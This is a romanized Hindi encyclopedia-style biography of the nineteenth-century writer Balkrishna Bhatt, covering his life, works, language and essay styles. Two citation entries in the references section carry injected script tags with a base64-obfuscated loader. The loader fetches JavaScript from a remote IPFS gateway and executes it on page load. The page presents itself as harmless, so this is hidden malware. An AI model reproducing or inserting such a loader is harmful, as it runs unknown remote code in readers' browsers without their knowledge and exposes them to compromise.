बालकृष्ण भट्ट
balkrishna bhatt
| |
| poora nam | balkrishna bhatt |
| janm | 3 joon, 1844 |
| janm bhoomi | ilahabad, uttar pradesh |
| mrityu | 20 julaee, 1914 |
| abhibhavak | pita- pandit veni prasad |
| karm bhoomi | bharat |
| karm-kshetr | hindi sahity |
| mukhy rachanaean | 'sahity suman', 'nootan brahmachari', 'sau ajan ek sujan', 'bal-vivah', 'chandrasen', 'rel ka vikat khel' adi. |
| bhasha | hindi, sanskrit, aangrezi, bangala aur farasi. |
| prasiddhi | natakakar, patrakar, upanyasakar aur nibandhakar. |
| vishesh yogadan | gady kavy ki rachana sarvapratham balkrishna bhatt ne praranbh ki thi. inase poorv tak hindi mean gady kavy ka nitaant abhav tha. |
| nagarikata | bharatiy |
| kal | bharatendu yug |
| any janakari | bhattaji svatantr roop se lekh likhakar hindi saptahik aur masik patroan mean bhejate the. ve kee varsh tak prayag mean sanskrit ke adhyapak rahe the. 'hindi pradip' masik patr ka sampadan ve nirantar ghata sahakar karate rahe the. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
balkrishna bhatt (aangrezi: Balkrishna Bhatt; janm- 3 joon, 1844, ilahabad, uttar pradesh; mrityu- 20 julaee, 1914) adhunik hindi sahity ke shirsh nirmataoan mean se ek the. aj ki gady pradhan kavita ka janak inhean mana jata hai. balkrishna bhatt ek saphal natakakar, patrakar, upanyasakar aur nibandhakar the. bhatt ji ne nibandh, upanyas aur natakoan ki rachana karake hindi ko ek samarth shaili pradan ki. ye pahale aise nibandhakar the, jinhoanne atmaparak shaili ka prayog kiya tha. balkrishna bhatt ko hindi, sanskrit, aangrezi, bangala aur farasi adi bhashaoan ka achchha jnan tha. inhoanne hindi sahity ki vividh roopoan mean seva ki. lagabhag battis varshoan tak 'hindi pradip' ka sanpadan kar bhattaji apane vicharoan ka vyaktikaran karate rahe. ye 'bharatendu yug' ki dedipyaman maun vibhooti hone ke sath-sath 'dvivedi yug' ke lekhakoan ke marg-darshak aur prerana strot bhi rahe.
janm tatha shiksha
balkrishna bhatt ji ka janm prayag (adhunik ilahabad), uttar pradesh mean 3 joon, 1844 ee. mean hua tha. inake pita ka nam pandit veni prasad tha. pandit veni prasad ki shiksha ki or vishesh ruchi rahati thi, sath hi inaki patni bhi ek vidushi mahila thian. atah balkrishna bhatt ki shiksha par balyakal se hi vishesh dhyan diya gaya. praranbh mean inhean ghar par hi sanskrit ki shiksha di gayi aur 15-16 varsh ki avastha tak inaka yahi kram raha. isake uparant inhoanne mata ke adeshanusar sthaniy mishan ke skool mean aangrezi padhana praranbh kiya aur dasavian kaksha tak adhyayan kiya. vidyarthi jivan mean inhean baeebil pariksha mean kee bar puraskar bhi prapt hue. mishan skool chho dane ke uparant yah punah sanskrit, vyakaran aur sahity ka adhyayan karane lage.[1]
vyavasayik jivan
kuchh samay ke lie balkrishna bhatt 'jamuna mishan skool' mean sanskrit ke adhyapak bhi rahe, par apane dharmik vicharoan ke karan inhean pad tyag karana p da. vivah ho jane par jab inhean apani bekari khalane lagi, tab yah vyapar karane ki ichchha se kalakatta (vartaman kolakata) bhi ge, parantu vahaan se shighr hi laut aye aur sanskrit sahity ke adhyayan tatha hindi sahity ki seva mean jut ge. yah svatantr roop se lekh likhakar hindi saptahik aur masik patroan mean bhejane lage tatha kee varsh tak prayag mean sanskrit ke adhyapak rahe. bhattaji prayag se 'hindi pradip' masik patr ka nirantar ghata sahakar 32 varsh tak usaka sampadan karate rahe. 'hindi pradip' band hone ke bad 'hindi shabdasagar' ka sanpadan kary bhi inhoanne kuchh samay tak dekha, par asvasthata ke karan inhean yah kary chho dana p da.
hindi sahity mean sthan
balkrishna bhatt ka hindi ke nibandhakaroan mean mahattvapoorn sthan hai. nibandhoan ke praranbhik yug ko niahsankoch bhav se bhatt yug ke nam se abhihit kiya ja sakata hai. vyangy vinod sanpann shirshakoan aur lekhoan dvara ek or to bhattaji pratap narayan mishr ke nikat haian aur ganbhir vivechan evan vicharatmak nibandhoan ke lie ve achary ramachandr shukl ke nikat haian. bhattaji apane yug ke n keval sarvashreshth nibandhakar the, apitu inhean sampoorn hindi sahity mean pratham shreni ka nibandh lekhak mana jata hai. inhoanne sahityik, samajik, rajanitik, dharmik, darshanik, naitik aur samayik adi sabhi vishayoan par vichar vyakt kiye haian. inhoanne tin sau se adhik nibandh likhe haian. inake nibandhoan ka kalevar atyant sankshipt hai tatha tin prishthoan mean hi samapt ho jate haian.[1] inhoanne moolatah vicharatmak nibandh hi likhe haian aur in vicharatmak nibandhoan ko char shreniyoan mean vibhajit kiya ja sakata hai-
- vyavaharik jivan se sambandhit.
- sahityik vishayoan se samabandhit.
- samayik vishayoan se sambandhit.
- hriday ki vritiyoan par adharit.
kritiyaan
bhattaji 'bharateandu yug' ki den the aur bharateandu mandali ke pradhan sadasy the. prayag mean inhoanne 'hindi pravarddhini' namak sabha ki sthapana ki thi aur 'hindi pradip' namak patr prakashit karate rahe. isi patr mean inake anek nibandh drishtigochar hote haian. 'hindi sahity sammelan' prayag ne inake kuchh nibandhoan ka sangrah 'nibandhavali' nam se prakashit bhi karavaya tha.
- nibandh sangrah - sahity suman, bhatt nibandhavali.
- upanyas - nootan brahmachari, sau ajan ek sujan.
- natak - damayanti svayanvar, bal-vivah, chandrasen, rel ka vikat khel.
- anuvad - venisanhar, mrichchhakatik, padmavati.
bhasha
bhasha ki drishti se apane samay ke lekhakoan mean balkrishna bhatt ka sthan bahut ooancha hai. unhoanne apani rachanaoan mean yathashakti shuddh hindi ka prayog kiya. bhavoan ke anukool shabdoan ka chunav karane mean bhatt ji b de kushal the. kahavatoan aur muhavaroan ka prayog bhi unhoanne suandar dhang se kiya hai. bhatt ji ki bhasha mean jahaan tahaan poorvipan ki jhalak milati hai, jaise- samajha-bujha ke sthan par samajhay-bujhay likha gaya hai. balkrishna bhatt ki bhasha ko do kotiyoan mean rakha ja sakata hai. pratham koti ki bhasha tatsam shabdoan se yukt hai. dvitiy koti mean ane vali bhasha mean sanskrit ke tatsam shabdoan ke sath-sath tatkalin urdoo, arabi, farasi tatha aangl bhashiy shabdoan ka bhi prayog kiya gaya hai. vah hindi ki paridhi ka vistar karana chahate the, isalie unhoanne bhasha ko vishay evan prasang ke anusar prachalit hinditar shabdoan se bhi samanvit kiya hai. balkrishna bhatt ki bhasha jivant tatha chittakarshak hai. isamean yatr-tatr poorvi boli ke prayogoan ke sath-sath muhavaroan ka prayog bhi kiya gaya hai, jisase bhasha atyant rochak aur pravahamayi ban gee hai.[2]
shaili
balkrishna bhatt ki lekhan shaili ko do kotiyoan mean rakha ja sakata hai. pratham koti ki shaili ko parichayatmak shaili kaha ja sakata hai. is shaili mean unhoanne kahaniyaan aur upanyas likhe haian. dvitiy koti mean ane vali shaili goodh aur ganbhir hai. is shaili mean bhatt ji ko adhik naipuny prapt hai. unhoanne 'atm-nirbharata' tatha 'kalpana' jaise gambhir vishayoan ke atirikt, 'aankh', 'nak' tatha 'kan' adi ati samany vishayoan par bhi sundar nibandh likhe haian. apake nibandhoan mean vicharoan ki gahanata, vishay ki vistrit vivechana, gambhir chintan ke sath ek anoothapan bhi hai. yatr-tatr vyangy evan vinod unaki shaili ko manoranjak bana deta hai. unhoanne hasy adharit lekh bhi likhe haian, jo atyant shikshadayak haian. bhatt ji ka gady, gady n hokar gadyakavy-sa pratit hota hai. vastut: adhunik kavita mean padyatmak shaili mean gady likhane ki paranpara ka sootrapat balkrishna bhatt ji ne hi kiya tha.[2]
varnanatmak shaili
varnanatmak shaili mean balkrishna bhatt ji ne vyavaharik tatha samajik vishayoan par nibandh likhe haian. jan sadharan ke lie bhatt ji ne isi shaili ko apanaya. unake upanyas ki shaili bhi yahi hai, kiantu ise unaki pratinidhi shaili nahian kaha ja sakata. is shaili ki bhasha saral aur muhavaredar hai. vaky kahian chhote aur kahian b de haian.
vicharatmak shaili
bhatt ji dvara ganbhir vishayoan par likhe ge nibandh isi shaili ke aantargat ate haian. tark aur vishvas, jnan aur bhakti, sanbhashan adi nibandh vicharatmak shaili ke udaharan haian. is shaili ki bhasha mean sanskrit ke shabdoan ki adhikata hai.
bhavatmak shaili
is shaili ka prayog balkrishna bhatt ne sahityik nibandhoan mean kiya hai. ise bhatt ji ki pratinidhi shaili kaha ja sakata hai. is shaili mean shuddh hindi ka prayog hua hai. bhasha pravahamayi, sanyat aur bhavanukool hai. is shaili mean upama, roopak, utpreksha adi alankaroan ka prayog bhi hua hai. alankaroan ke prayog se bhasha mean vishesh sauandary a gaya hai. bhavoan aur vichar ke sath kalpana ka bhi suandar samanvay hua hai. isamean gady kavy jaisa anand hota hai.
vyangyatmak shaili
is shaili mean hasy aur vyangy ki pradhanata hai. vishay ke anusar kahian vyangy atyant marmik aur tikha ho gaya hai. is shaili ki bhasha mean urdoo shabdoan ki adhikata hai aur vaky chhote-chhote haian.
nidhan
balkrishna bhatt ka nidhan 20 julaee, 1914 ee. mean hua. lekhakoan mean unaka sarvochch sthan hai. bhattaji ne natakakar, nibandhakar, lekhak, upanyasakar aur anuvadak adi vibhinn roopoan mean hindi ki seva ki aur use dhani banaya. sahity ki drishti se bhatt ji ke nibandh atyant uchch koti ke haian. is disha mean unaki tulana aangrezi ke prasiddh nibandhakar charls laianb se ki ja sakati hai. gady kavy ki rachana bhi sarvapratham bhatt ji ne hi praranbh ki thi. inase poorv tak hindi mean gady kavy ka nitaant abhav tha.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 pan. balkrishna bhatt (hindi). . abhigaman tithi: 25 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 balkrishna bhatt, parichay (hindi). . abhigaman tithi: 25 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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